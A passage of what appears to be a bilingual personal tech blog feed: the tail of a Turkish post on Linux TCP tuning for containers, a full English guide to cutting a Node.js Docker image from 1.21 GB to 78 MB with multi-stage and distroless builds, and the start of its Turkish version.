&Ccedil;&uuml;nk&uuml; uygulama &ccedil;ekirdekten ba&gbreve;lant&inodot;lar&inodot; kabul (<code>accept</code>) edemiyordur.</p> <p>Ayn&inodot; &scedil;ekilde, her istekte yeni bir veri taban&inodot; ba&gbreve;lant&inodot;s&inodot; a&ccedil;&inodot;p bunu kapatmay&inodot; unutuyorsan&inodot;z, ephemeral port t&uuml;kenmesiyle er ya da ge&ccedil; y&uuml;zle&scedil;irsiniz. &Ccedil;ekirdek ayarlar&inodot; size sadece ka&ccedil;&inodot;&scedil; rampas&inodot; sa&gbreve;lar, s&inodot;z&inodot;nt&inodot;y&inodot; &ccedil;&ouml;zmek sizin i&scedil;inizdir.</p> <h2 id="konteyner-dunyasndaki-tuzaklar-docker-kubernetes">Konteyner D&uuml;nyas&inodot;ndaki Tuzaklar (Docker &amp; Kubernetes)<a class="headerlink" href="#konteyner-dunyasndaki-tuzaklar-docker-kubernetes" title="Permanent link">#</a></h2> <p>Docker veya Kubernetes kullan&inodot;yorsan&inodot;z, <code>sysctl</code> ayarlar&inodot;n&inodot;n &ccedil;ekirdekteki yerine dikkat etmeniz gerekir:</p> <ol> <li><strong>Konteyner i&ccedil;inde g&uuml;venli olanlar:</strong> <code>tcp_tw_reuse</code> ve <code>tcp_rmem</code> gibi a&gbreve; isim alan&inodot;na (network namespace) dahil ayarlar&inodot; konteyner i&ccedil;erisinden de de&gbreve;i&scedil;tirebilirsiniz.</li> <li><strong>Sadece host &uuml;zerinde &ccedil;al&inodot;&scedil;anlar:</strong> <code>somaxconn</code>, <code>rmem_max</code>, <code>wmem_max</code> ve <code>netdev_max_backlog</code> gibi ayarlar a&gbreve; isim alan&inodot;na dahil de&gbreve;ildir. Bunlar&inodot; konteyner i&ccedil;inden set etmeye &ccedil;al&inodot;&scedil;&inodot;rsan&inodot;z yetki hatas&inodot; al&inodot;rs&inodot;n&inodot;z veya ayar hi&ccedil;bir i&scedil;e yaramaz. Bunlar&inodot; do&gbreve;rudan sunucu makinesinde (host) ayarlaman&inodot;z &scedil;artt&inodot;r.</li> <li><strong>Kubernetes i&ccedil;in en temiz yol:</strong> K8s ortamlar&inodot;nda bu ayarlar&inodot; pod seviyesinde veya runtime sidecar'lar&inodot;yla &ccedil;&ouml;zmek yerine, node provisioning (d&uuml;&gbreve;&uuml;m haz&inodot;rlama) a&scedil;amas&inodot;nda, yani Terraform cloud-init veya &ouml;zel makine imajlar&inodot; (AMI) arac&inodot;l&inodot;&gbreve;&inodot;yla do&gbreve;rudan host seviyesine g&ouml;mmek en temiz yakla&scedil;&inodot;md&inodot;r.</li> </ol> <p>T&uuml;m bu ayarlar&inodot; altyap&inodot; otomasyonunuza dahil edin, sessiz sedas&inodot;z can s&inodot;kan o a&gbreve; sorunlar&inodot;n&inodot; tarihe g&ouml;m&uuml;n.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <h3 id="laboratuvardan-diger-notlar">🔗 Laboratuvardan Di&gbreve;er Notlar<a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link">#</a></h3> <p>Sistemleri kurcalarken, a&gbreve; trafi&gbreve;ini y&ouml;netirken ve performans&inodot; art&inodot;r&inodot;rken i&scedil;inize yarayacak di&gbreve;er yaz&inodot;lar&inodot;m da &scedil;urada:</p> <ul> <li><a href="/arch-linux-dns-vpn-systemd-resolved-unbound/">Arch Linux'ta DNS Gizemi: VPN, systemd-resolved ve Unbound</a></li> <li><a href="/arch-linux-dnsmasq-dnscrypt-proxy/">Arch Linux'ta dnsmasq ve dnscrypt-proxy Kurulum Rehberi</a></li> <li><a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">AWS EC2'de OpenVPN Nas&inodot;l Kurulur ve DNS Leak Nas&inodot;l D&uuml;zeltilir</a></li> <li><a href="/docker-imaj-boyutu-kucultme-rehberi/">&Scedil;i&scedil;ko Docker &Idot;majlar&inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk</a></li> <li><a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Node.js taraf&inodot;ndaki keepAlive ayar&inodot; sadece uygulaman&inodot;n ba&gbreve;lant&inodot;y&inodot; a&ccedil;&inodot;k tutmas&inodot;n&inodot; sa&gbreve;lar, &ccedil;ekirdek seviyesindeki TCP keepalive s&uuml;resi de&gbreve;i&scedil;tirilmedi&gbreve;inde ise &ouml;l&uuml; ba&gbreve;lant&inodot;lar i&scedil;letim sistemi d&uuml;zeyinde yine 2 saat as&inodot;l&inodot; kalmaya devam eder.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T04:10:00+03:002026-05-29T04:10:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/en/docker-imaj-boyutu-kucultme-rehberi/

<p>Bloated Docker images slow down CI/CD processes and increase storage costs. I'm sharing how I incrementally reduced a Node.js + TypeScript app's image to 78 MB.</p>

<p>While tinkering with the images of services running in my home lab, I noticed something, folks: the Docker image for our trusty Node.js + TypeScript application was taking up a whopping 1.21 GB on disk. It's almost comical; we're consuming so much space on the server for a JavaScript project whose compiled output is a mere 4 MB.</p> <p>Bloated Docker images are, in reality, a hidden tax paid silently by every team deploying containers. Slowing CI/CD pipelines, sluggish deployment times, increasing security vulnerabilities, and ultimately, ballooning storage (registry) bills... Most developers wave this off, saying, "There's nothing to be done, the Node.js ecosystem is just this bloated." But we've chewed through our fair share of terminals, my friends, and giving up isn't in our DNA.</p> <p>After a few hours of work, I'm sharing, with all the measurements, how I shrunk this beast, destined for production, down to 78 MB step-by-step, without the slightest impact on the application's functionality.</p> <p><img alt="Shrinking Docker Image Size" src="/images/docker-slim.png"/></p> <h2 id="starting-point-a-naive-dockerfile-121-gb">Starting Point: A Naive Dockerfile (1.21 GB)<a class="headerlink" href="#starting-point-a-naive-dockerfile-121-gb" title="Permanent link">#</a></h2> <p>This is the first Dockerfile most teams write. Does it work? Yes. But almost every line is a waste.</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:22</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>install <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"npm"</span><span class="p">,</span><span class="w"> </span><span class="s2">"start"</span><span class="p">]</span> </code></pre></div> <p>After building this and checking its size, the situation is dire:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>docker<span class="w"> </span>build<span class="w"> </span>-t<span class="w"> </span>app:naive<span class="w"> </span>. yuceltoluyag@archlinux:~$<span class="w"> </span>docker<span class="w"> </span>images<span class="w"> </span>app:naive REPOSITORY<span class="w"> </span>TAG<span class="w"> </span>SIZE app<span class="w"> </span>naive<span class="w"> </span><span class="m">1</span>.21GB </code></pre></div> <p>Let's roll up our sleeves and get to work.</p> <h2 id="step-1-changing-the-base-image-121-gb-412-mb">Step 1: Changing the Base Image (1.21 GB -&gt; 412 MB)<a class="headerlink" href="#step-1-changing-the-base-image-121-gb-412-mb" title="Permanent link">#</a></h2> <p>The original <code>node:22</code> tagged image is Debian-based and includes tons of compiler tools needed during the build phase that we won't even look at during runtime. The <code>slim</code> tagged image, on the other hand, trims away a large portion of this excess.</p> <table> <thead> <tr> <th style="text-align: left;">Image Version</th> <th style="text-align: left;">Size</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">node:22</td> <td style="text-align: left;">1.21 GB</td> </tr> <tr> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">412 MB</td> </tr> <tr> <td style="text-align: left;">node:22-alpine</td> <td style="text-align: left;">178 MB</td> </tr> </tbody> </table> <p>While the Alpine version appears much smaller, it uses musl libc. Pure JavaScript projects run smoothly on Alpine. However, if your dependencies include native modules like <code>bcrypt</code> or <code>sharp</code> that are compiled with C/C++, musl libc might cause you headaches<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. Therefore, for a realistic production environment, proceeding with the <code>slim</code> image is the safest bet.</p> <h2 id="step-2-leaving-unnecessary-files-at-the-door-dockerignore-412-mb-388-mb">Step 2: Leaving Unnecessary Files at the Door (<code>.dockerignore</code>) (412 MB -&gt; 388 MB)<a class="headerlink" href="#step-2-leaving-unnecessary-files-at-the-door-dockerignore-412-mb-388-mb" title="Permanent link">#</a></h2> <p>When Docker copies files, if it doesn't apply filters, it directly writes your local <code>node_modules</code> folder, <code>.git</code> history, test files, and even sensitive local development <code>.env</code> files into the image's layers.</p> <p>We'll immediately create a <code>.dockerignore</code> file in the project's root directory to get rid of unnecessary bloat:</p> <div class="highlight"><pre><span></span><code><span class="nf">node_modules</span> <span class="nf">npm-debug.log</span> <span class="na">.git</span> <span class="na">.gitignore</span> <span class="na">.env</span><span class="p">*</span> <span class="na">.vscode</span> <span class="na">.idea</span> <span class="nf">coverage</span> <span class="nf">dist</span> <span class="nf">build</span> <span class="err">*</span><span class="na">.md</span> <span class="nf">test</span> <span class="nf">__tests__</span> <span class="nf">Dockerfile</span><span class="p">*</span> <span class="na">.dockerignore</span> </code></pre></div> <p>This small file not only reduces the size but also prevents critical files like local <code>.env.development</code> from accidentally leaking into public registries.</p> <h2 id="step-3-the-magic-of-multi-stage-build-388-mb-198-mb">Step 3: The Magic of Multi-Stage Build (388 MB -&gt; 198 MB)<a class="headerlink" href="#step-3-the-magic-of-multi-stage-build-388-mb-198-mb" title="Permanent link">#</a></h2> <p>We need a ton of development dependencies (dev dependencies) to compile TypeScript, run linters, and execute tests. But we don't need any of them to get the application running on the server.</p> <p>This is where <strong>Multi-Stage Build</strong> comes into play. In the first stage (builder), we compile the application, and in the second stage (runtime), we only copy the compiled files and clean libraries.</p> <div class="highlight"><pre><span></span><code><span class="c"># ---- Builder Stage ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">builder</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>prune<span class="w"> </span>--omit<span class="o">=</span>dev <span class="c"># ---- Runtime Stage ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-slim</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/dist<span class="w"> </span>./dist <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/package.json<span class="w"> </span>./package.json <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dist/index.js"</span><span class="p">]</span> </code></pre></div> <p>Here, we made two critical moves: * Instead of <code>npm install</code>, we used <code>npm ci</code>. This command bases itself on the <code>package-lock.json</code> file and provides a much faster and more consistent installation. * After compilation, we pruned developer libraries using <code>npm prune --omit=dev</code>. This command alone halved the size of <code>node_modules</code>.</p> <h2 id="step-4-correctly-triggering-layer-caching-same-size-5x-faster-build">Step 4: Correctly Triggering Layer Caching (Same size, 5x faster build)<a class="headerlink" href="#step-4-correctly-triggering-layer-caching-same-size-5x-faster-build" title="Permanent link">#</a></h2> <p>This step doesn't reduce image size, but it's the most critical tactic to turbocharge our CI/CD processes, my friend. Docker images are built in layers. If you write the <code>COPY . .</code> command before the <code>npm ci</code> command, even a single line change in your code will invalidate Docker's cache, and Docker will attempt to download hundreds of packages from scratch every time.</p> <p>To prevent this, as we did in the step above, we should first copy only the <code>package*.json</code> files and install the libraries, then copy the code:</p> <div class="highlight"><pre><span></span><code><span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build </code></pre></div> <p>For our project with approximately 600 dependencies, the cold build time was 94 seconds. With this minor change in placement, when we only changed the application code, the build time dropped to 18 seconds. Calculate the time saved with every PR, every deploy!</p> <h2 id="step-5-docking-at-the-alpine-port-at-runtime-198-mb-96-mb">Step 5: Docking at the Alpine Port at Runtime (198 MB -&gt; 96 MB)<a class="headerlink" href="#step-5-docking-at-the-alpine-port-at-runtime-198-mb-96-mb" title="Permanent link">#</a></h2> <p>We used the Debian-based <code>slim</code> image during the build phase to avoid compatibility issues. So why not switch to Alpine for runtime? Our compiled pure JavaScript code, if it doesn't call C/C++ binaries that are specific to glibc in the background, doesn't care one bit about the operating system.</p> <div class="highlight"><pre><span></span><code><span class="c"># ---- builder ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">builder</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>prune<span class="w"> </span>--omit<span class="o">=</span>dev <span class="c"># ---- runtime ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">node:22-alpine</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/dist<span class="w"> </span>./dist <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/package.json<span class="w"> </span>./package.json <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dist/index.js"</span><span class="p">]</span> </code></pre></div> <p>If you're using native modules and want to use Alpine at runtime, you'll need to select the <code>node:22-alpine</code> base image in the builder phase as well and perform the compilation with commands like <code>apk add --no-cache python3 make g++</code>.</p> <h2 id="step-6-shutting-down-the-server-the-distroless-transition-96-mb-78-mb">Step 6: Shutting Down the Server: The Distroless Transition (96 MB -&gt; 78 MB)<a class="headerlink" href="#step-6-shutting-down-the-server-the-distroless-transition-96-mb-78-mb" title="Permanent link">#</a></h2> <p>We've reached the pinnacle. Google's <strong>Distroless</strong> images contain only the Node.js runner and SSL certificates. There's no shell (bash/sh), no package manager, and no tools like curl. This way, even if an attacker manages to infiltrate the container during a cyber attack, they won't find a terminal to execute commands. Naturally, the size shrinks down to 78 MB.</p> <div class="highlight"><pre><span></span><code><span class="c"># ---- runtime ----</span> <span class="k">FROM</span><span class="w"> </span><span class="s">gcr.io/distroless/nodejs22-debian12</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/node_modules<span class="w"> </span>./node_modules <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/dist<span class="w"> </span>./dist <span class="k">COPY</span><span class="w"> </span>--from<span class="o">=</span>builder<span class="w"> </span>/app/package.json<span class="w"> </span>./package.json <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"dist/index.js"</span><span class="p">]</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Attention! No Shell When Using Distroless</p> <p>Since Distroless images do not have a shell, you cannot connect and inspect the container using <code>docker exec -it container sh</code>. If you need to debug, you can use the version with the <code>:debug</code> tag of the same image (this version includes a BusyBox shell). In a production environment, you should stick to the standard distroless version in compliance with security rules. Also, because there's no shell, it's mandatory to use the exec form in the <code>CMD</code> field and provide the script path directly without writing <code>node</code>.</p> </div> <h2 id="general-evaluation-table">General Evaluation Table<a class="headerlink" href="#general-evaluation-table" title="Permanent link">#</a></h2> <p>Let's look at the impact of our improvements on image size collectively:</p> <table> <thead> <tr> <th style="text-align: left;">Stage</th> <th style="text-align: left;">Base Image</th> <th style="text-align: left;">Image Size</th> <th style="text-align: left;">Savings Ratio</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">Initial (Naive)</td> <td style="text-align: left;">node:22</td> <td style="text-align: left;">1.21 GB</td> <td style="text-align: left;">-</td> </tr> <tr> <td style="text-align: left;">1. Slim Base Image</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">412 MB</td> <td style="text-align: left;">%67</td> </tr> <tr> <td style="text-align: left;">2. .dockerignore</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">388 MB</td> <td style="text-align: left;">%6</td> </tr> <tr> <td style="text-align: left;">3. Multi-Stage + Prune</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">198 MB</td> <td style="text-align: left;">%49</td> </tr> <tr> <td style="text-align: left;">4. Layer Caching</td> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">198 MB</td> <td style="text-align: left;">(Speed Gain)</td> </tr> <tr> <td style="text-align: left;">5. Alpine Runtime</td> <td style="text-align: left;">node:22-alpine</td> <td style="text-align: left;">96 MB</td> <td style="text-align: left;">%52</td> </tr> <tr> <td style="text-align: left;">6. Distroless Transition</td> <td style="text-align: left;">distroless/nodejs22</td> <td style="text-align: left;">78 MB</td> <td style="text-align: left;">%19</td> </tr> </tbody> </table> <p>At the end of the day, we achieved a <strong>94% reduction in size</strong>, folks. The image became a full 15 times smaller.</p> <h2 id="what-we-didnt-choose">What We Didn't Choose<a class="headerlink" href="#what-we-didnt-choose" title="Permanent link">#</a></h2> <p>There are also methods frequently recommended on some platforms that we didn't include in our list due to increased complexity:</p> <ul> <li><strong>docker-slim:</strong> A fantastic tool that analyzes and shrinks images dynamically. However, in a production environment, it might consider a dependency in a rarely accessed code block unnecessary and delete it. Debugging live issues is no fun.</li> <li><strong>pkg or nexe:</strong> Compiles the application into a single binary. However, it freezes the Node.js version and breaks dynamic import structures. If you want static binary flexibility, you should use Go or Rust instead of Node.js.</li> <li><strong>scratch:</strong> Theoretically great, but in practice, it will lead to a week of battling SSL certificates, timezone data (tzdata), and DNS resolvers. Distroless eliminates all this hassle.</li> </ul> <p>You can also relieve your servers and speed up your CI/CD pipelines by applying these steps in your own projects.</p> <p>Stay healthy!</p> <hr/> <h3 id="other-notes-from-the-lab">🔗 Other Notes from the Lab<a class="headerlink" href="#other-notes-from-the-lab" title="Permanent link">#</a></h3> <p>Here are some other articles that might be useful to you while tinkering with systems, improving server performance, and lightening containers:</p> <ul> <li><a href="/en/arch-linux-docker-kurulumu/">Docker Installation on Arch Linux &ndash; Step-by-Step Guide</a></li> <li><a href="/en/linux-tcp-tuning-node-js-microservices/">Linux TCP Tuning and Kernel Settings for Node.js Microservices</a></li> <li><a href="/en/raspberry-pi-zero-ram-diskless-web-server/">Throw Away Your Disks: Hosting a Site on RAM with Raspberry Pi Zero</a></li> <li><a href="/en/pelican-statik-site-playwright-test/">Test Your Pelican Static Site with Playwright</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Architectural differences between Musl libc and glibc can lead to unexpected errors in Node.js packages with C/C++ dependencies during compilation or at runtime.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T04:10:00+03:002026-05-29T04:10:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/docker-imaj-boyutu-kucultme-rehberi/

<p>Şişmiş Docker imajları CI/CD süreçlerini yavaşlatır ve depolama maliyetlerini artırır. Node.js + TypeScript uygulamasının imajını adım adım 78 MB'a nasıl düşürdüğümü paylaşıyorum.</p>

<p>Kendi ev laboratuvar&inodot;mda (homelab) ko&scedil;turdu&gbreve;um servislerin imajlar&inodot;n&inodot; kurcalarken fark ettim hac&inodot;: Bizim emektar Node.js + TypeScript uygulamas&inodot;n&inodot;n Docker imaj&inodot; diskte tam 1.21 GB yer kapl&inodot;yor. &Scedil;aka gibi, derlenmi&scedil; hali topu topu 4 MB eden bir JavaScript projesi i&ccedil;in sunucuda devasa bir alan harc&inodot;yoruz.</p> <p>&Scedil;i&scedil;ko Docker imajlar&inodot;, konteyner da&gbreve;&inodot;tan her ekibin sessiz sedas&inodot;z &ouml;dedi&gbreve;i gizli bir vergidir asl&inodot;nda. Yava&scedil;layan CI/CD s&uuml;re&ccedil;leri, hantalla&scedil;an deploy s&uuml;releri, artan g&uuml;venlik a&ccedil;&inodot;klar&inodot; ve g&uuml;n&uuml;n sonunda kabaran depolama (registry) faturalar&inodot;... &Ccedil;o&gbreve;u geli&scedil;tirici bu duruma "yapacak bir &scedil;ey yok, Node.js ekosistemi b&ouml;yle hantal" deyip ge&ccedil;iyor. Ama biz o terminalin tozunu yutmu&scedil;uz karda&scedil;, pes etmek bize yak&inodot;&scedil;maz.</p> <p>Birka&ccedil; saatlik bir &ccedil;al&inodot;&scedil;mayla, production ortam&inodot;na g&ouml;nderdi&gbreve;imiz bu canavar&inodot;, uygulaman&inodot;n &ccedil;al&inodot;&scedil;mas&inodot;n&inodot; zerre bozmadan ad&inodot;m ad&inodot;m 78 MB'a nas&inodot;l d&uuml;&scedil;&uuml;rd&uuml;&gbreve;&uuml;m&uuml; t&uuml;m &ouml;l&ccedil;&uuml;mleriyle birlikte &scedil;uraya b&inodot;rak&inodot;yorum.</p> <p><img alt="Docker &Idot;maj Boyutunu K&uuml;&ccedil;&uuml;ltmek" src="/images/docker-slim.png"/></p> <h2 id="cks-noktas-naif-dockerfile-121-gb">&Ccedil;&inodot;k&inodot;&scedil; Noktas&inodot;: Naif Dockerfile (1.21 GB)<a class="headerlink" href="#cks-noktas-naif-dockerfile-121-gb" title="Permanent link">#</a></h2> <p>&Ccedil;o&gbreve;u ekibin yazd&inodot;&gbreve;&inodot; ilk Dockerfile budur. &Ccedil;al&inodot;&scedil;&inodot;r m&inodot;? &Ccedil;al&inodot;&scedil;&inodot;r. Ama neredeyse her sat&inodot;r&inodot; israftan ibaret.</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:22</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>install <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>run<span class="w"> </span>build <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"npm"</span><span class="p">,</span><span class="w"> </span><span class="s2">"start"</span><span class="p">]</span> </code></pre></div> <p>Bunu build edip boyutuna bakt&inodot;&gbreve;&inodot;m&inodot;zda durum i&ccedil;ler ac&inodot;s&inodot;:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>docker<span class="w"> </span>build<span class="w"> </span>-t<span class="w"> </span>app:naive<span class="w"> </span>. yuceltoluyag@archlinux:~$<span class="w"> </span>docker<span class="w"> </span>images<span class="w"> </span>app:naive REPOSITORY<span class="w"> </span>TAG<span class="w"> </span>SIZE app<span class="w"> </span>naive<span class="w"> </span><span class="m">1</span>.21GB </code></pre></div> <p>Kollar&inodot;m&inodot;z&inodot; s&inodot;vay&inodot;p i&scedil;e koyulal&inodot;m.</p> <h2 id="1-adm-taban-imajn-degistirmek-121-gb-412-mb">1. Ad&inodot;m: Taban &Idot;maj&inodot;n&inodot; De&gbreve;i&scedil;tirmek (1.21 GB -&gt; 412 MB)<a class="headerlink" href="#1-adm-taban-imajn-degistirmek-121-gb-412-mb" title="Permanent link">#</a></h2> <p>Orijinal <code>node:22</code> etiketli imaj, Debian tabanl&inodot;d&inodot;r ve derleme a&scedil;amas&inodot;nda laz&inodot;m olan ancak &ccedil;al&inodot;&scedil;ma zaman&inodot;nda (runtime) y&uuml;z&uuml;ne bile bakmayaca&gbreve;&inodot;m&inodot;z tonla derleyici arac&inodot; i&ccedil;erir. <code>slim</code> etiketli imaj ise bu kalabal&inodot;&gbreve;&inodot;n b&uuml;y&uuml;k k&inodot;sm&inodot;n&inodot; t&inodot;rpanlar.</p> <table> <thead> <tr> <th style="text-align: left;">&Idot;maj S&uuml;r&uuml;m&uuml;</th> <th style="text-align: left;">Boyut</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">node:22</td> <td style="text-align: left;">1.21 GB</td> </tr> <tr> <td style="text-align: left;">node:22-slim</td> <td style="text-align: left;">412 MB</td> </tr> <tr> <td style="text-align: left;">node:22-alpine</td> <td style="text-align: left;">178 MB</td> </tr> </tbody> </table> <p>Alpine s&uuml;r&uuml;m&uuml; &ccedil;ok daha k&uuml;&ccedil;&uuml;k g&ouml;r&uuml;nse de musl libc kullan&inodot;r. Saf JavaScript projeleri Alpine &uuml;zerinde t&inodot;k&inodot;r t&inodot;k&inodot;r &ccedil;al&inodot;&scedil;&inodot;r. Ancak ba&gbreve;&inodot;ml&inodot;l&inodot;klar&inodot;n&inodot;z aras&inodot;nda <code>bcrypt</code>, <code>sharp</code> gibi C/C++ ile derlenen (native) mod&uuml;ller varsa musl libc ba&scedil;&inodot;n&inodot;z&inodot; a&gbreve;r&inodot;tabilir<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. Bu y&uuml;zden ger&ccedil;ek&ccedil;i bir production ortam&inodot; i&ccedil;in <code>slim</code> imaj&inodot;yla yola devam etmek en g&uuml;venli limand&inodot;r.</p> <h2 id="2-adm-gereksiz-dosyalar-kapda-brakmak-dockerignore-412-mb-388-mb">2. Ad&inodot;m: Gereksiz Dosyalar&inodot; Kap&inodot;da B&inodot;rakmak (<code>.dockerignore</code>) (412 MB -&gt; 388 MB)<a class="headerlink" href="#2-adm-gereksiz-dosyalar-kapda-brakmak-dockerignore-412-mb-388-mb" title="Permanent link">#</a></h2> <p>Docker dosya kopyalarken filtre uygulamazsa yerel bilgisayar&inodot;n&inodot;zdaki <code>node_modules</code> klas&ouml;r&uuml;n&uuml;, <code>.git</code> ge&ccedil;mi&scedil;ini, test dosyalar&inodot;n&inodot; ve hatta lokal geli&scedil;tirme a&scedil;amas&inodot;ndaki hassas <code>.env</code> dosyalar&inodot;n&inodot; do&gbreve;rudan imaj&inodot;n katmanlar&inodot;na yazar.</p> <p>Hemen projenin k&ouml;k dizinine bir <code>.dockerignore</code> dosyas&inodot; olu&scedil;turup gereksiz a&gbreve;&inodot;rl&inodot;klardan kurtuluyoruz:</p> <div class="highlight"><pre><span></span><code><span class="nf">node_modules</span> <span class="nf">npm-debug.log</span> <span class="na">.git</span> <span class="na">.gitignore</span> <span class="na">.env</span><span class="p">*</span> <span class="na">.vscode</span> <span class="na">.idea</span> <span class="nf">coverage</span> <span class="nf">dist</span> <span class="nf">build</span> <span class="err">*</span><span class="na">.md</span> <span class="nf">test</span> <span class="nf">__tests__</span> <span class="nf">Dockerfile</span><span class="p">*</span> <span class="na">.dockerignore</span> </code></pre></div> <p>Bu ufak dosya hem boyutu d&uuml;&scedil;&uuml;r&uuml;yor hem de lokal <code>.env.development</code> gibi kritik dosyalar&inodot;n yanl&inodot;&scedil;l&inodot;kla public registry'lere s&inodot;zmas&inodot;n&inodot;n &ouml;n&uuml;ne ge&ccedil;iyor.</p> <h2 id="3-adm-multi-stage-build-sihri-388-mb-198-mb">3. Ad&inodot;m: Multi-Stage Build Sihri (388 MB -&gt; 198 MB)<a class="headerlink" href="#3-adm-multi-stage-build-sihri-388-mb-198-mb" title="Permanent link">#</a></h2> <p>TypeScript'i derlemek, linter ko&scedil;turmak ve testleri &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in tonla geli&scedil;tirici ba&gbreve;&inodot;ml&inodot;l&inodot;&gbreve;&inodot;na (dev dependencies) ihtiyac&inodot;m&inodot;z var. Ama uygulamay&inodot; sunucuda aya&gbreve;a kald&inodot;r&inodot;rken bunlar&inodot;n hi&ccedil;birine ihtiyac&inodot;m&inodot;z yok.</p> <p>&Idot;&scedil;te burada devreye <strong>Multi-Stage Build</strong> (&Ccedil;ok a&scedil;amal&inodot; derleme) giriyor. &Idot;lk a&scedil;amada (builder) uygulamay&inodot; derleyip, ikinci a&scedil;amada (runtime) sadece derlenmi&scedil; dosyalar&inodot; ve temiz k&uuml;t&uuml;phaneleri kopyal&inodot;yoruz:</p> <div class="highlight"><pre><span></span><code><span class="c"># ---- Derleme A&scedil;amas&inodot; (Builder) ----</span> <span 